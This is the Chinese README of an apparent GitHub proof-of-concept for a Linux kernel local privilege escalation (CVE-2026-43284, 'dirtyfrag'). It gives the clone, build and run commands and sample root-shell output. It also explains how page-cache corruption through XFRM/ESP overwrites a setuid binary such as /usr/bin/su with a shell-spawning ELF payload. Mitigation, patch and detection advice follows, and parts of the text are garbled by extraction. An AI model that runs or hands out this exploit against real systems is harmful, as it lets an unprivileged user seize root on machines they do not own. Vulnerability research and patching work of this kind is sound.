概念验证 通过XFRM/ESP页缓存损坏实现本地权限提升
4字节写入原语 · 48次迭代 · 192字节ELF覆写 · 非特权用户 + netns
左图:内核预检、setuid 扫描及利用链 ·
右图:生成的 root shell —— id / whoami 确认 uid=0(root)
测试于 WSL2 · Ubuntu 24.04.1 LTS · 内核 6.6.87.2-microsoft-standard-WSL2
╔═══════════════════════════════════════╗
║ SLEY - CVE-2026-43284 dirtyfrag PoC ║
╚═══════════════════════════════════════╝
免责声明: 仅用于授权安全研究、教育以及测试您拥有或明确获得许可的系统。作者不对滥用行为负责。
即使 algif_aead 被列入黑名单也能工作——该利用直接使用内核 XFRM/ESP 代码路径。
利用前内置预检:
CONFIG_USER_NS、CONFIG_XFRM、CONFIG_INET_ESP/boot/config-*、/lib/modules/*/config 或 WSL2 上的 /proc/config.gz)find / -perm -4000)CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m # 或 =y
快速检查:
# 物理机 / 虚拟机
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)
# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='
gcc、libc、libutil(用于 forkpty)/usr/bin/su)git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make
或手动:
gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil
使用
-O0是有意为之——优化可能破坏时间敏感的 splice/UDP 行为。
id
# uid=1000(youruser) gid=1000(youruser) groups=...
./sley-dirtyfrag # 默认目标:/usr/bin/su
./sley-dirtyfrag /usr/bin/passwd # 自定义 setuid 二进制文件
该工具自动执行三个阶段:
| 阶段 | 功能 |
|---|---|
| 1 | 内核配置预检 (、、) |
在生成的 shell 内:
id
# uid=0(root) gid=0(root) groups=0(root)
whoami
# root
按 Ctrl+D 或输入 exit。PoC 会清除页缓存,因此磁盘上的原始二进制文件会自动恢复。
如果恢复失败:
echo 3 | sudo tee /proc/sys/vm/drop_caches
| 命令 | 描述 |
|---|
┌─[ phase 1] 内核配置预检
→ /proc/config.gz
[+] CONFIG_USER_NS = y (需要 =y)
[+] CONFIG_XFRM = y (需要 =y)
[+] CONFIG_INET_ESP = m (需要 =m 或 =y)
内核选项 OK。
┌─[ phase 2] setuid 二进制扫描
10 /usr/bin/su ← 目标
找到 14 个 setuid 二进制文件。
┌─[ phase 3] 利用
[*] unshare userns+netns, 注册 48 个 XFRM SA, splice→UDP 4500...
[+] corrupt 所有迭代完成
[+] verify ELF 补丁检测成功
╔══════════════════════════════════════╗
║ root shell — 退出以恢复 ║
╚══════════════════════════════════════╝
| 修复版本 | f4c50a4034e6 (主线, 2026年5月8日) |
| 引入版本 | cac2661c53f3 (2017年1月) |
操作: 升级到包含该修复的发行版内核,或从已修补的主线树构建。
# 检查当前运行的内核
uname -r
# 验证补丁是否存在(示例——根据您发行版的软件包命名调整)
# apt update && apt install --only-upgrade linux-image-$(uname -r)
此利用依赖于非 root 用户执行 unshare(CLONE_NEWUSER | CLONE_NEWNET)。
# 运行时(并非所有内核都存在)
sysctl kernel.unprivileged_userns_clone=0
# 或在构建时禁用
# CONFIG_USER_NS is not set
注意: 禁用用户命名空间会阻止这个 PoC,但不一定阻止 CVE-2026-43500(针对无 userns 系统的 rxrpc 变体)。
find / -perm -4000 -type f 2>/dev/null
# 移除或强化不需要的二进制文件
如果您认为 setuid 二进制文件已被内存中修补:
echo 3 | sudo tee /proc/sys/vm/drop_caches
# 通过包管理器/已知哈希重新验证二进制文件完整性
unshare(CLONE_NEWUSER | CLONE_NEWNET) — 隔离的用户/网络命名空间(无需 root)。seq_hi 中(每个 SA 4 字节)。UDP_ENCAP_ESPINUDP:
splice() 将目标文件读入管道splice() 将数据从管道移动到 UDP 套接字skip_cow 路径进入 ESP 散聚列表authencesn scatterwalk 在 assoclen + cryptlen 处写入 seq_hisetuid(0) / setgid(0) / execve("/bin/sh")。| 环境 | 内核 |
|---|---|
| WSL2 Ubuntu 24.04.1 LTS | 6.6.87.2-microsoft-standard-WSL2 |
| Ubuntu 24.04 | 易受攻击的构建版本 |
| Fedora 44 | 易受攻击的构建版本 |
pcbc(fcrypt) 暴力原语攻击 /etc/passwd。不包含在此仓库中。按现状提供,仅用于研究和教育。请负责任地使用。
SLEY — CVE-2026-43284 dirtyfrag PoC
如果这对您的研究有帮助,请考虑给仓库加星。
| CVE | CVE-2026-43284 |
| 类型 | 本地权限提升 (LPE) |
| 向量 | XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP) 页缓存损坏 |
| 原语 | 每次迭代4字节 (ESN seq_hi) |
| 载荷 | 192字节 x86_64 ELF (setuid(0) + setgid(0) + execve("/bin/sh")) |
| 默认目标 | /usr/bin/su |
| 架构 | 仅 x86_64 |
| 所需权限 | 非特权用户 (使用用户 + 网络命名空间) |
CONFIG_USER_NSCONFIG_XFRMCONFIG_INET_ESP| 2 | 全系统 setuid 二进制扫描;高亮默认目标 |
| 3 | 备份目标 → 修补页缓存 (48次×4字节写入) → 生成 root shell |
./sley-dirtyfrag | 利用 /usr/bin/su (默认) |
./sley-dirtyfrag /path/to/suid | 利用自定义 setuid 二进制文件 |
make | 构建 sley-dirtyfrag |
make clean | 删除二进制文件 |
| 措施 | 效果 |
|---|
| 修补/升级内核 | 消除底层的页缓存写入漏洞 |
| 限制用户命名空间 | 阻止此 PoC(需要 CONFIG_USER_NS) |
| 移除不必要的 setuid 二进制文件 | 减少可用目标 (chmod u-s 或卸载) |
| 锁定 / LSM (SELinux, AppArmor) | 根据策略可能限制利用后的影响 |
| 监控 XFRM + UDP/4500 | 检测来自非特权命名空间的异常 SA 注册和 ESP-in-UDP 流量 |
posix_fadvise| 文件 | 描述 |
|---|
sley-dirtyfrag.c | 利用源代码 |
Makefile | 构建辅助文件 |
proof-of-concept-1.jpg | PoC 截图——预检 + 利用 |
proof-of-concept-2.jpg | PoC 截图——root shell 验证 |
README.md | 本文件 |